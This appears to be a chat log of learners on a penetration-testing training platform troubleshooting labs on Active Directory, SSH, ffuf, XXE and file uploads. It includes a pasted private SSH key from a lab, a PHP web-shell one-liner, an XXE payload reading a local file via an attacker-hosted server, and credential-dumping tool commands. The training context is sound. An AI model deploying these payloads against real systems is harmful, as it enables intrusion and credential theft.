modules

[rustic sage]

Alr bro here's a step by step guide. Copy the contents of the id_rsa file. Make a new file in your system and past it in there. You can add an extension like 'key" to it. Then chmod 600 that file. Finally ssh -i id_rsa user@ip

[fathom pendant]

there's a reason i'm slowly walking through it instead of outright giving the answer

[rustic sage]

chmod: changing permissions of 'id_rsa': Operation not permitted

[split glade]

Don't worry it won't be enough

[fathom pendant]

because you need to copy it to your system

[rustic sage]

oh

[fathom pendant]

cat id_rsa then highlight and copy that to a file on YOUR system

and change the permissions there

also when you go to ssh as root, don't forget to include the port; as I recall this is on a docker instance with a public_ip:port

[split glade]

I do have a serious tip on this one, use file id_rsa after copy pasting to verify that you didn't miss a character

[fathom pendant]

a better method is md5sum <file>

which gives a checksum value

note: new line at the end will change the md5sum value

[split glade]

Ah yes, good idea. I just want to verify that it's a valid rsa key but it's even better

[fathom pendant]

it can be valid but sometimes (rarely) some text programs shuffle characters around

i've had it happen once, didn't modify my clipboard and it just... worked in a different text editor

[rustic sage]

what format

[split glade]

Weird

[rustic sage]

ssh root@83.136.255.167 -p55617 -i key

[fathom pendant]

[rustic sage]

xd

[fathom pendant]

did it work? 😄

[rustic sage]

it says wrong format

Lol

[fathom pendant]

oh

[rustic sage]

😭

[fathom pendant]

did you include the -----BEGIN and -----END lines?

those are important

[rustic sage]

begin?

there is no begin

[split glade]

You're logging into a public IP? Makes no sense

[fathom pendant]

from the id_rsa file (not the id_rsa.pub) file

[fathom pendant]

this section uses a public IP

[rustic sage]

Who runs ssh in port 55617 💀

[split glade]

For real? Ok

[rustic sage]

F9hwG/dmzqij4NiM7mxLrA2mcQO/oJKBoNvcmGXEYkSHqQysAti2XDisrP2Clzh5CjMfPu
DjIKyc6gl/5ilOSBeU11oqQ/MzECf3xaMPgUh1OTr+ZmikmzsRM7QtAme3vkQ4rUYabVaD
2Gzidcle1AfITuY5kPf1BG2yFAd3EzddnZ6rvmZxsv2ng9u3Y4tKHNttPYBzoRwwOqlfx9
PyqNkT0c3sV4BdhjH5/65w7MtkufqF8pvMFeCyywJgRL/v0/+nzY5VN5dcoaxkdlXai3DG
5/sVvliVLHh67UC7adYcjrN49g0S3yo1W6/x6n+GcgCH8wHKHDvh5h09jdmxDqY3A8jTit
CeTUQKMlEp5ds0YKfzN1z4lj7NpCv003I7CQwSESjVtYPKia17WvOFwMZqK/B9zxoxAAAA
wQC8vlpL0kDA/CJ/nIp1hxJoh34av/ZZ7nKymOrqJOi2Gws5uwmrOr8qlafg+nB+IqtuIZ
pTErmbc2DHuoZp/kc58QrJe1sdPpXFGTcvMlk64LJ+dt9sWEToGI/VDF+Ps3ovmeyzwg64
+XjUNQ6k9VLZqd2M5rhONefNxM+LKR4xjZWHyE+neWMSgELtROtonyekaPsjOEydSybFoD
cSYlNtEk6EW92xZBojJB7+4RGKh3+YNwvocvUkHWDEKADBO7YAAADBAPRj/ZTM7ATSOl0k
TcHWJpTiaw8oSWKbAmvqAtiWarsM+NDlL6XHqeBL8QL+vczaJjtV94XQc/3ZBSao/Wf8E5
InrD4hdj1FOG6ErQZns6vG1A2VBOEl8qu1r5zKvq5A6vfSzSlmBkW7XjMLJ0GiomKw9+4n
vPI0QJaLvUWnU/2rRm7mqFCCbaVl2PYgiO6qat9TxI2y7scsLlY8cjLjPp2ZobIZN5tu3Y
34b8afl+MxqFW3I5pjDrfi5zWkCypILwAAAMEAwDETdoE8mZK7wOeBFrmYjYmszaD9uCA/
m4kLJg4kHm4zHCmKUVTEb9GpEZr1hnSSVb+qn61ezSgYn3yvClGcyddIht61i7MwBt6cgl
ZGQvP/9j2jexpc1Sq0g+l7hKK/PmOrXRk4FFXk+j6l0m7z0TGXzVDiT+yCAnv6Rla/vd3e
7v0aCqLbhyFZBQ9WdyAMU/DKiZRM6knckt61TEL6ffzToNS+sQu0GSh6EYzdpUfevwKL+a
QfPM8OxSjcVJCpAAAAEXJvb3RANzZkOTFmZTVjMjcwAQ==
-----END OPENSSH PRIVATE KEY-----

[fathom pendant]

any section with a public IP will have an accompanying port that's the scope

[fathom pendant]

you're missing the begin line

[rustic sage]

there is no begin line

[fathom pendant]

also delete this as it's spoiler

[rustic sage]

Oops your ssh keys got leaked

[rustic sage]

Rip

[fathom pendant]

yes, there should be

[rustic sage]

im catting it rn there is no begin line

[fathom pendant]

scroll up

[rustic sage]

i am

[fathom pendant]

dm me a picture

[rustic sage]

nothing there

[split glade]

Do you use a 400x400 screen?

[rustic sage]

There's no -- BEGINNING --- part

[fathom pendant]

there should be a ----BEGIN line

[rustic sage]

son of a bitch deleted his begin line!

ill restart the vm

Why

maybe I deleted it by accident idk

No copy it again

its on my vm

From the box

No need of resetting anything

[fathom pendant]

anyway

[rustic sage]

¯_(ツ)_/¯

[fathom pendant]

you have the path to root now

the rest will just be skill issue

[rustic sage]

There's still no -- BEGIN part tho

[split glade]

¯_(ツ)_/¯

[rustic sage]

A typical ssh key should look like this: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAA...
...
-----END OPENSSH PRIVATE KEY-----

[fathom pendant]

you're missing way more lines

[split glade]

¯_(ツ)_/¯

[rustic sage]

Scroll up?

[split glade]

Press Page UP

[fathom pendant]

try doing this /bin/bash -i

it seems like your terminal is not showing everything, your only seeing the 20th line to the end

well i just did it on my end and it showed the full thing

[rustic sage]

Manually add -----BEGIN OPENSSH PRIVATE KEY----- and see if it works...

[fathom pendant]

it won't

he's missing far more lines than just that

[rustic sage]

Oh

[fathom pendant]

now cat the file

[rustic sage]

Press enter on your keyboard about 10 time and send a screenshot of the terminal again

Oh your terminal is broken

You can't scroll up lol

[fathom pendant]

yeah that's weird

close the terminal and reconnect

it seems it's only showing like 20 lines

yeah but ctrl-shift-c isn't copy in vim

[rustic sage]

Of yeah open that in a text editor

[fathom pendant]

you'll need to highlight then press y

[rustic sage]

Nano?

[fathom pendant]

¯_(ツ)_/¯

anyway

i'd have just closed and reopened the terminal

[fathom pendant]

.

again

[rustic sage]

Yo terminal is broken

[fathom pendant]

do my suggestion

close the terminal

and open a new one

it seems like you have some setting that's limiting also; btw you can press "full screen" to open a full screen tab of pwnbox

so you're not limited to a small window

[rustic sage]

Cool

¯_(ツ)_/¯

¯_(ツ)_/¯

I'd complete that part of I were you personally

¯_(ツ)_/¯

That's just me personally tho

Getting access and the thing you were doing

Or did you do it

loooooool

Oh cool

[trail sail]

I need help pls. I'm in the Active Directory Enumeration & Attacks module. I am trying to answer this question: Run Snaffler and hunt for a readable web config file. What is the name of the user in the connection string within the file?
I don't know what to do to get that Web Config file.

[cloud urchin]

well, it says run Snaffler. did you try that?

[trail sail]

yeah but is not working

[fathom pendant]

--unknown argument

is it target URL or target URI

this is from the module example

from the github

but --targetUrl isn't a valid option at all for Snaffler

ok the Snaffler devs earned my funny approval

[trail sail]

Ok i did everything that says in the module, but i do not know how to look for the Web Config file

[fathom pendant]

well that doesn't look like snaffler

the answer to the snaffler question will be in the snaffler output

so is the PW question after

[trail sail]

Oh my bad. it says that the data need to be readable. i though i have to search it up in Bloodhound. Sorry lol

[fathom pendant]

the data will be readable in the output :) (the snaffler output may also tell you where a file is to look at)

[wooden perch]

finally concluded, vfrank password was missing a character and got a tip from htb forum on where to pivot from 172.16.5.35!

[fathom pendant]

as i said earlier, you were missing another host 😄

[wooden perch]

I was not able to spot that host running a loop in powershell.. not sure why and how I would find by myself...

[noble heath]

Hi for the dataset on UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK [https://academy.hackthebox.com/module/218/section/2358]
Can someone from the support team or those that encountered it confirm if the executable that initiated a reverse shell to the attacker is
||demon.exe or notepad.exe||? Hence letting them execute commands on a later date via the ||randomfile.exe||?

[trail sail]

Thanks i completed the section!

[fathom pendant]

were you running the loop on the right interface?

[graceful mortar]

[wooden perch]

Apparently yes, cause I found the other rabbit hole IP on the same subnet

[normal sand]

Module: AD Enumeration & Attacks
In this section, it states:

It is worth noting this down because if we can take over this service account through some attack, we could use its membership in the Backup Operators group to take over the domain.
I haven't seen anything in this section or previous sections of this module that indicate having membership in the Backup Operators group could lead to taking over the domain. Is it saying it could potentially & indirectly lead to taking over the domain? Could someone please clarify? Thanks.

Maybe there's some information in the part where they enumerate detailed information about the group that indicates being part of the group could give permission to take over the domain?

I just did some research, is it because of the permissions this group inherently has that it could lead to taking over a domain?

If someone could confirm whether I've understood what they were trying to explain in the module's section I'd greatly appreciate it. Thanks!

[fringe urchin]

[next bronze]

backup operators can backup stuff and access sensitive files

https://www.thehacker.recipes/ad/movement/domain-settings/builtin-groups

[next bronze]

bro said

[fringe urchin]

[normal sand]

[normal sand]

Alrighty, so that's prolly why the section said what it said.

[next bronze]

imagine using chrome

[normal sand]

It's edge

[next bronze]

even worse

[fringe urchin]

[normal sand]

Alright, alright, I'll download Firefox.

Eventually...

[normal sand]

Out of curiosity which browser do you use?

[next bronze]

firefox

[rustic sage]

LiberWolf

Wave browser, because I like the bundled adware in it

@summer swallow

https://academy.hackthebox.com/achievement/1343525/49

there we go!

[next bronze]

kinda funny that MS blocks access to one of the best resources to AD/windows pentest

only for edge tho

[fringe urchin]

All you can eat buffe

[normal sand]

It is, I hadn't realized 😂

[next bronze]

bro said buffe

[midnight galleon]

GNU IceCat

[fringe urchin]

i dont know how to spell that

"All you can eat"

There you go

[summer swallow]

oh !!!!! 😅

[next bronze]

it's just @slender shoal

[fringe urchin]

[summer swallow]

Hey, I am currently doing the InfoSec foundations path and just completed windows fundamentals. Next module is intro to windows command line and then bash scripting. But I am thinking to skip these two modules and going for the next module that is into to networking because my plan is to do first CBBH and then CPTS. And scripting would probably be of little to no help in CBBH afaik. Am I wrong ? Or this is fine ? Really confused which module to pick next.

[next bronze]

I'd say do all the modules in the path, they're all pretty useful and will give you the basic knowledge needed for the other paths

[summer swallow]

okay.... Thanks, will do 🙂

[normal sand]

@next bronze I just hit this section under the AD Enumeration & Attacks module. Under the PowerView subsection there's a table of the most useful PowerView functions. Are we expected to know all this? Or is there like a good reference? Or will bloodhound just do what I need?

I don't know whether it's worth including such a large table in my notes 💀

[next bronze]

they're useful references, but it's up to you on whether to include them

[normal sand]

How often does one actually use them though?

[next bronze]

depends on how often you use powerview

[normal sand]

Alrighty 😂

Btw do you know anything about Gitbook?

I'm making my notes using it, but a table of contents doesn't show for each page unless published. Is there a way to have a toc when the notes aren't published?

[next bronze]

nope I don't use gitbook

[normal sand]

Okay, thanks.

[stark lark]

Can you give a hint to where you found the LINUX01$ Kerberos ticket?

[fringe urchin]

I used a provided tool from the section. Requires root aswell iirc

Simmilar to mimikatz

[thorn hawk]

Hello to all. I hope everybody is feeling awesome. I have some difficulty undetstanding how to create Jinja2 payloads through python instructions. This is part of SSTI example 3. it is indicated that we can go through different methods to be able to reach the method we need. But i dont understand how these are related. Any input is welcome 🙂

[stiff urchin]

Hello!

Should i go through this issue ?! Or there is a missing pieces on the lab
Pivoting Tunneling and port forwarding
Socks5 tunneling with chisel

I tried to download the lib6 on my own and transferring it to the box and install it locally
Didn’t work tho

[timber hatch]

rdp sessions stays black...
terminated target and vm a few times...

[autumn pilot]

@stiff urchin there is a note in the section that will help you out

[timber hatch]

worked😂

[stiff urchin]

I got that flags earlier but wanna practice the tools

[violet karma]

free robux

[autumn pilot]

The lab is not broken

[stark lark]

Yup, just ran linikatz, however, how did you know that you had to use the file located in /v**/l...............

Because I don't think there is anything pointing that I should use that file except that it starts with ccache

[fringe urchin]

Well the question was asking me to get to linux01 user and in my linikatz output it pointed towards that file. Im currently working but i can send you a screenshot of the output once im home.

[fringe urchin]

Maybe somewhere higher in the output?

[stark lark]

Can i dm you? Don't want to spoil here

[fringe urchin]

Yes. I can look at your output

[normal sand]

Module: AD Enumeration & Attacks

Can someone explain the purpose of the parameter data to me in the following command?

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data

This is the explanation provided in the section:

The -s tells it to print results to the console for us, the -d specifies the domain to search within, and the -o tells Snaffler to write results to a logfile. The -v option is the verbosity level. Typically data is best as it only displays results to the screen, so it's easier to begin looking through the tool runs.

[autumn pilot]

check the tool's github page

there are different verbosity levels the tool supports

[knotty ember]

Anyone free that can assist me on the Broken Auth skill assessment

[normal sand]

Oh, data is a verbosity level. Thanks! I checked out the GitHub page.

[coarse lichen]

Hello, I'm on the "Attacking Enterprise Networks" Module and on the "Web Enumeration & Exploitation" section.
I would need the help from someone who has completed this module.
I'm trying to replicate the steps presented for ||the dev.inlanefreight.local VHOST, by adding the header found previously
but instead of retrieving the web page as seen on the module I get a "408 Request Timeout" Response.||
I have already tried to reset the environment multiple times but I always get the same result.
I also tried to change between the different VPN instances from EU/US and tried from the Pwnbox for both of the regions but it did not bear any fruits.
Does anyone encountered this problem ?

[faint rampart]

can someone clarify the difference between AS-REQroasting & AS-REP roasting cause this is not making any sense, they are practically the same

[next bronze]

is it not the same?

request and reply

[faint rampart]

chatgpt says its not nd gave a bs explanation

[next bronze]

The client request is called AS-REQ , the answer is called AS-REP . Client uses the TGT to ask the KDC for a ST (Service Ticket). That ticket is provided by the Ticket Granting Service (TGS). The client request is called TGS-REQ , the answer is called TGS-REP .
https://www.thehacker.recipes/ad/movement/kerberos

[faint rampart]

"AS-REQroasting" shouldnt even be a thing you're roasting the reply not the request

[next bronze]

excatly

[next bronze]

bro's tripping

[faint rampart]

I saw this in the HTB AD blog and its repeated again in this module, I assumed it was a typo in the blog

[next bronze]

well from my knowledge they're the same, you need both a request and reply

[faint rampart]

https://www.hackthebox.com/blog/8-powerful-kerberos-attacks

alright, thanks man 🙏🏼

[next bronze]

AS-REQ Roasting is possible when Kerberos pre-authentication is not configured. This allows anyone to request authentication data for a user. In return, the KDC would provide an AS-REP message.

Since part of that message is encrypted using the user’s password, it is possible to perform an offline brute-force attack to try and retrieve the user's password.

you'd still need asrep

[next bronze]

this is hilarious btw, what a doozy

[faint rampart]

Its practically impossible without, the encrypted session key part is needed, problem is why some places call it AS-REQroasting and others call it AS-REProasting, and there is no consistency btween HTB sources.

But I'm just gonna ignore AS-REQroasting, thanks man ♥️

[faint rampart]

My brain literally exploded bro like wth

[next bronze]

I just assume it's different names but mean the same thing

[silver iris]

Hey guys.
On the "AD Enumeration & Attacks - Skills Assessment Part I" ||after i set up my socks_proxy and autoroute, i tried to use crackmapexec smb, but i always get :
SMB 172.16.6.50 445 NONE [*] x64 (name:) (domain:) (signing:False) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.6.50:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.6.50:445 ... OK
SMB 172.16.6.50 445 NONE [-] Connection Error: Error while reading from remote

Is this a connection issue on HTB side or am i doing something wrong?
I can RDP into the second host with proxychains, but cme doesnt seem to work.
I also reset the host once.||

[blissful elm]

even after loading module i can't get outupt of get-domainuser

2nd SKILL ASS of ad and enum

[silver iris]

can you give me the output you get if you type Get-Module?

[faint rampart]

The powerview script is in not in the directory you're importing it from.
Use the full path or navigate there to use .\Powerview.ps1

oh shit it is

[next bronze]

I've been getting a lot of these lately, shouldn't be a problem if the connection is stable but

[limber river]

the module is not loaded

use get-module to check if the module is loaded

[silver iris]

but ||"proxychains crackmapexec smb IP -u user -p password --lsa"|| correct no?

[next bronze]

yeah it's correct

[limber river]

looks good , just make sure ,you use the right proxy on the proxychains file

and use netexec

[silver iris]

Yeah seems something with proxy and autoroute is wrong then

[next bronze]

nah I'm saying I've been having problems with the academy vpn

[limber river]

bro , I use ligolo I don't have this kind of problems

[silver iris]

so i do the classic reset the machine 3 times, wait a day and hope it gets better? 😄

[next bronze]

I use ligolo and I've been having all kinds of problems

[limber river]

or contact the support

[silver iris]

That never helped me with anything tbh :/

[limber river]

[blissful elm]

same

Hi there, thanks for reaching out. I'm XXX
​
Are you still facing this issue?

[blissful elm]

they reply after 16hr , till that time either problem is solved or not in mood to continue that shit again

[limber river]

they used to be fast like 2-3 hrs

[blissful elm]

hmm for me these lag and bug started from jan-feb

they were very fast in reply at that time but now 💀

https://tenor.com/view/dead-my-honest-reaction-damn-skull-skeleton-gif-15885937969029652188

[solar pecan]

Does anyone know why while the hashcat says the ntlmv2 hash was cracked but doesn't show the password? I looked both in the potfile and with the --show without showing a password.

[silver iris]

what output are you getting?

[limber river]

hashcat -m mask hash.txt --show ?

[elder kraken]

I'm in the DNS footpriting module, I'm at the last question. I'm sure my command works after some research, it's the right brute force subdomain. But I have the impression that my wordlist is wrong. Any tips for me.

||$ sudo dnsenum --dnsserver 10.129.93.138 --enum -p 0 -s 0 -o subdomains.txt -f /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt dev.inlanefreight.htb||

[limber river]

dude no french here

[elder kraken]

oh esxcude

[solar pecan]

hashcat -m 5600 hash.txt --show

[limber river]

looks good to me

[limber river]

yeah , what's the output you got

[solar pecan]

at the end of the hash I get this 003200340030000000000000000000:

[silver iris]

Can you give the whole output?

[solar pecan]

its from skills assesment.. is it ok to share it here?

[elder kraken]

It was just the wordlist

[limber river]

gg

[limber river]

just put the ouptut so we can see what's happening

[silver iris]

Good point, not sure 😄

[solar pecan]

I send it to you on PM

[rustic sage]

how to get perms to the general chat

[limber river]

#welcome

[limber surge]

For the password attack lab- medium, after i got the D*.docx, what do i do next? i tried to read the content but it cant be read.

[primal needle]

Hi guys, I am just solving HTB Academy 'Injectio attacks' module 'LPAD - Data exfiltration and blind exploitation'. I already got what i needed but the problem is if i submit the answer it shows me error. I tried upper and lower case, because in exercise it is not case sensitive. Then I tried even encoded space but no luck. Does anyone submit correct answer for this module ?

[limber river]

what you can do to read protected files ?

[pseudo kiln]

academy down ?

[glass quail]

no

[pseudo kiln]

everything just stopped working for me suddenly

[glass quail]

I just reloaded my viewer page and the module page

[pseudo kiln]

seems to be back now, but for like solid 4 minutes the ssh I got with the target was just stuck

[glass quail]

maybe a computer hiccup

[pseudo kiln]

that does not necessarily reflect the underlying infrastructure, the web page could be up, but the labs down

and..... it's stuck again....

[glass quail]

idk have you tried hitting it with hammer lol

[pseudo kiln]

hitting it with, spawning a new machine

[glass quail]

do you think it would be the ping

lol

[pseudo kiln]

yeah ping showed crazy to me too like 1000000

[glass quail]

mine is really high right now too

[pseudo kiln]

same deal with new machine, now I cannot even ping it anymore

[glass quail]

now its down maybe switching to a different server

[pseudo kiln]

well, at least I know it's not just me

[upper sorrel]

Having problems with connecting via SSH. I have done as specified but it returns with 'port 22: No route to host'
What am I doing wrong?

[pseudo kiln]

if you check the routing table on your attack box, does it show the HTB IPs ?

[upper sorrel]

routing table?

[glass quail]

have you tried switching locations for the pwnbox

[upper sorrel]

no, does that usually work? i'll try it

[glass quail]

I'm talk about the guy with the computer freezing

[glass quail]

is the target machine turned on

[upper sorrel]

im locked out now i dont have any spawns leftg

cant do anything

[glass quail]

[pseudo kiln]

have you considered spinning up your own VM ?

[upper sorrel]

yh i could

[pseudo kiln]

it's pretty easy and can even run with like 2gb ram and 1 cpu

[upper sorrel]

kk cool

[glass quail]

ya that's always fun

[upper sorrel]

ill try that cheers

[limber surge]

I figured out alr.

[normal sand]

After running SharpHound using the folllowing command, my ZIP file was generated but some other .bin file was as well. Any idea what it is?

.\SharpHound.exe -c All --zipfilename ILFREIGHT

[next bronze]

just google m8, it's the cache
https://posts.specterops.io/sharphound-evolution-of-the-bloodhound-ingestor-3b46643ccbd8?gi=d7efe7e17b76

[normal sand]

I used BloodHound to list all the Kerberostable accounts, do I have to manually count them? Do I have to manually count the nodes on the screen? Is there a quicker way?

[normal sand]

Oh okay, thanks 😅

[normal sand]

@next bronze Any idea on this? I must be blind cuz I'm sure they must have it somewhere.

I read somewhere that there's a results tab that may show the number, but don't see one.

[upper sorrel]

I have switched to Kali on my VM on my PC. I am getting the same problem, I am connected to Starting Point and the vpn is set up properly

[next bronze]

idk what section it is but bh is not the only tool

[normal sand]

It's this section, the first question has asked to do it using BH.

[limber river]

use Impacket-GetSPNusers | wc -l

[normal sand]

Thanks for this. But do you know a way to do it using BH?

[next bronze]

just count

I don't think it returns the number

[limber river]

imagine env with 300 kerberoastable users

lol

[next bronze]

manually set SPN for everyone

[vague sage]

alright im stuck at attacking web applications with ffuf
at subdomain fuzzing

i scan and i dont get any correct results

do i scan using a bigger list?or what
it says that the domains may not be public

oh shit wait

[shut vapor]

Ack! They upgraded Information Gathering - Web Edition and now I'm only half done with it after it had previously been completed.

[fathom pendant]

O7

[coarse lichen]

Maybe asking a third time's the charm.
Hello, I'm on the "Attacking Enterprise Networks" Module and on the "Web Enumeration & Exploitation" section.
I would need the help from someone who has completed this module.
I'm trying to replicate the steps presented for ||the dev.inlanefreight.local VHOST, by adding the header found previously
but instead of retrieving the web page as seen on the module I get a "408 Request Timeout" Response.||
I have already tried to reset the environment multiple times but I always get the same result.
I also tried to change between the different VPN instances from EU/US and tried from the Pwnbox for both of the regions but it did not bear any fruits.
Does anyone encountered this problem ?

[fathom pendant]

You're not gonna get help with AEN

People do this module completely blind, as the module itself is the walk-through for it

I suggest reaching out to support to confirm its not just a skill issue

[coarse lichen]

The problem I described is the only flag I can't retrieve I already finished the whole module

[fathom pendant]

Still reach out to support. But if you were able to complete the rest of the module, skill issue

[coarse lichen]

Skill issue while doing the exact same steps described in the module to get the flag ?

[fathom pendant]

And being honest, it's best to just reach out to support

They'll confirm a lab error

[coarse lichen]

How do I contact support ? Directly from discord or from the website ?

[fathom pendant]

From the website

Green bubble on the bottom right

If you don't see it, disable adblock

408 is generally a network error

As it says "timed out"

[stable bone]

marcie is big brain just trust

wait marcie your name is blue now??

GOOD SHIT MA BOY

[coarse lichen]

Yeah I know that's why I tried from different VPNs of different regions, from both my box and the Pwnbox, etc...

[upper sorrel]

I am having issues connecting to the SSH server in the Linux Fundamentals module. I have connected to the VPN, however the IP given does not connect and I can't ping it either. What do I do?

[fathom pendant]

If you do ip a do you have a tun0 ip?

[upper sorrel]

yes

[fathom pendant]

Second did you run the openvpn command with sudo

[upper sorrel]

yes

[fathom pendant]

Are you connected to the right vpn

[upper sorrel]

yes

[fathom pendant]

Academy-regular.ovpn

[upper sorrel]

yes that is the one

[fathom pendant]

Is that also the ip given when you "Click here to spawn target!"?

[upper sorrel]

yes

[stable bone]

i thought you had to put your own IP?

[fathom pendant]

The 10.129 ip

Do you have multiple tun IPs.

[upper sorrel]

yes

[fathom pendant]

If you do, sudo killall openvpn

[upper sorrel]

k

[fathom pendant]

Then rerun the command

[upper sorrel]

k

[fathom pendant]

Your issue was network collision, you had too many interfaces all trying to route the same way

Also terminate the pwnbox

[upper sorrel]

thanks so much

im in

[jovial niche]

Struggling with this question:** After spidering inlanefreight.com, identify the location where future reports will be stored. Respond with the full domain, e.g., files.inlanefreight.com.** I've installed Scrapy using pip3 and then ran ReconSpider.py but it's giving an error. Any ideas?

[civic dawn]

Stuck at File Upload Attacks Module Blacklist Filter Section.

I’m sure I uploaded the php file but can’t execute it

[fathom pendant]

I don't see any errors

Ah at the bottom

You'd need to actually read the error to figure out where it broke

[jovial niche]

ValueError: Missing scheme in request url: inlanefreight.com

Weird I followed these instructions I wonder if its a problem with Scrapy

[vestal wing]

You need the http:// or https:// yeah, I'll update the command 😛

[fathom pendant]

Then use http://

[fathom pendant]

You broke it

[vestal wing]

[fathom pendant]

Tbh though reading the error explains the error

[jovial niche]

python3 ReconSpider.py https://inlanefreight.com works fine thank you!

[fathom pendant]

https://tenor.com/view/tolarian-community-college-kyle-hill-magic-the-gathering-i-hate-your-deck-reading-the-card-gif-22381436

Didn't even need the staff clarification.

Idk if it's good or bad that I can read errors like that

[vestal wing]

very good

[fathom pendant]

Tbh I've spent too many user error hours troubleshooting things

[untold sparrow]

Hy...There is a problem with htb academy portal...The links for Modules and Paths are not working...Nothing happens on click...

Is it my browser or the portal...? 😆

[fathom pendant]

Works on my end

[untold sparrow]

It's strange...I tried firefox and chrome and the problem persists...

[fathom pendant]

try disabling all plugins ¯_(ツ)_/¯

[untold sparrow]

Thanks...It's the ad-blockers

[fathom pendant]

It usually is

HTB doesn't serve ads btw

It's just some backend services get hit by the ad-blockers

[civic dawn]

http://SERVER_IP:PORT/profile_images/shell.phtml?cmd=id

Only get the php script at response

[civic dawn]

<?php system($_REQUEST['cmd']); ?>

[pseudo kiln]

did the vpn stop working suddenly for anyone else ?

yup, it's pretty bad alright

[gilded patrol]

@pseudo kiln Yess me too

[glass quail]

I just started one up

[limpid steeple]

Pwnbox -> Academy just bricked for me as well (no connection), restarted both the pwnbox and challengebox multiple times

[pseudo kiln]

good to know, I was thinking of giving it a shot with the pwnbox too

changed servers too, so prob nothing else to do

[fathom pendant]

Message support and keep an eye on https://status.hackthebox.com

[vague sage]

im doing filtering results on attacking web applications with ffuf
ive executed
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:43588/ -H 'Host: FUZZ.academy.htb' -fs 900

but it doesnt find anything

[fathom pendant]

Make sure you're filtering the right thing

Also make sure you have academy.htb in your /etc/hosts

[vague sage]

oh lemme check

cat hosts
127.0.0.1 localhost
127.0.1.1 kali

damn

i edit it myself yeah?

[fathom pendant]

Yes

[vague sage]

alright

[fathom pendant]

ip <domain> (don't include the brackets)

You don't include the port

[vague sage]

do i use the ip:port as the academy.htb

[vague sage]

oh alright

[fathom pendant]

Just the ip

[vague sage]

alright done

[vague sage]

have i filtered somewhere wrong?or missed something

or both

[fathom pendant]

I wouldn't attach a filter unless you know what you're filtering for

[vague sage]

so i remove -fs

[fathom pendant]

So run the command, see what the common response is, filter that out

[vague sage]

alright

DAMN

[fathom pendant]

It's that simple, as shown in the section

Now you should see what fs to filter for

You don't want the size that's flooding your screen

[vague sage]

they used -fs 900 and found admin/
that confused me ngl

[fathom pendant]

That's just an example

[vague sage]

ah

[fathom pendant]

Examples won't always be 1::1 to what you do, so you're not just copy/pasting commands

[vague sage]

ye ofc

[fathom pendant]

Gotta actually use your brain

[fathom pendant]

They also explain why they used 900

[vague sage]

ye
i thought it had something to do with -fs

[fathom pendant]

It does

[vague sage]

from the beginning

either way

[fathom pendant]

When you fs, you're filtering (out) the response size you don't want to see

So it only shows results that you want to see

If you want to go a few extra steps, use a few curl commands to see what that response is

So you can see that it's "junk"

[vague sage]

so i look at the size:
?

and filter that out or something

[fathom pendant]

What is the common size you see when the ffuf command is running

[olive bramble]

I'm learning about XXE. To bypass XML's restriction on joining internal and external entities, we load an external DTD.
I wanted to try an alternative route (all of the entities being external) like so:

<!DOCTYPE email [
<!ENTITY begin SYSTEM "http://<ip>:8000/start">
  <!ENTITY file SYSTEM "file:///flag.php">
  <!ENTITY end SYSTEM "http://<ip>:8000/end">
  <!ENTITY joined "&begin;&file;&end;">
]>

On my machine:

$ cat start end
<![CDATA[
]]>

And using &joined; in the payload. Unfortunately, this does not work. Does anyone know why or if it could be made to work?
Logically it makes sense for this to work

[vague sage]

986

[fathom pendant]

So...

[vague sage]

-fs 986

[fathom pendant]

Try and see

[vague sage]

Shit wait I got blue screen

Lmao fucking laptop

[fathom pendant]

are you using nat or bridged?

[vague sage]

NAT

[fathom pendant]

Use bridged mode

[vague sage]

Alright

[pseudo kiln]

well I give up for today, maybe tomorrow academy will fare better

[vague sage]

alright i got it

ofc i would
im literally mr robot man

[fathom pendant]

Chill

[vague sage]

xd

[fossil fossil]

do you know if it's possible to increase the size of a rdp session (xfreerdp)? I'm having a very bad time trying to read the screen 😅

[olive bramble]

Have you tried rdesktop?

It's a very very nice

[fossil fossil]

I'll try it, thank you! (I was using xfreerdp)

[olive bramble]

Compared to xfreerdp, you may need to specify the domain for some cases in rdesktop. xfreerdp can sometimes infer the domain for you

[crisp nacelle]

anyone completed htb academy web info gathering updated ?

[fathom pendant]

Xfreerdp has the /dynamic-resolution option

[fossil fossil]

I'll take a look into that, thank you

[fathom pendant]

I use it often

[fossil fossil]

wow, I've tested it now, that's exactly what I wanted, thank you!!

[fathom pendant]

It can also resolve the pesky black screen thing, when you resize the screen it redraws it and shows the corporate AUP screen

[misty saddle]

i need some help with question 3 in ACTIVE DIRECTORY ENUMERATION & ATTACKS Privileged Access.
Everytime I try to ssh to the 172.16.5.225 IP I get the error in the screenshot. I've looked at the solution and followed it but i still get this error.

The "S" after the password was added when i did the screenshot.

I've tried to reset the box but still the same..

[glass quail]

my ping is over 9000

[verbal dagger]

the information gathering update is great. just noticed it

[fathom pendant]

Copy the pw to a notepad on the windows machine then copy it from there to the terminal, or use right-click paste

For w/e reason a regular paste doesn't work

[solar zodiac]

Hi everyone! 🙂 I was wondering if anyone could sanity check me on the last question of the Kerberos Attacks Skill Assessment.

The user who I gained access to through the automation in the last step doesn't seem to have any privileges

[misty saddle]

Thanks I’ll give it a shot!😊

[solar zodiac]

or isn't a part of any group thats important

[fathom pendant]

I sanity checked this recently and it's odd, but not something HTB can realistically fix

[fossil fossil]

why don't just ssh directly from your kali/pwnbox to the linux box?

[fathom pendant]

Because you need to pivot

You can't access the linux box without being on the network, it's on a 172.16.x.x network, the vpn only gives you access to the 10.129.0.0/16 network

[fossil fossil]

mmmm no, that kali box is another attack host you can use, you have direct access to a windows attack host and linux attack host, so you can test different tools to reach the same end

[fathom pendant]

Yes but you'd still need the ip of the host to directly attach to

[fossil fossil]

yes, you can. I've started my own lab just to test and it spawns 2 boxes

[fathom pendant]

Ah so they did fix that

Used to not be the case where it would give you two IPs

Used to only give you the main box IP depending on what's needed for the section

[fossil fossil]

I have tried to ssh from the windows box to the linux box and it accepted the credentials provided, @misty saddle have you checked the keyboard layout? maybe you're typing something different

[fathom pendant]

Because when you ssh to the attack box from the ms01 box, if you did ip a it had a tun0 interface to directly connect with

Used to*

Glad they show both now

[dreamy yew]

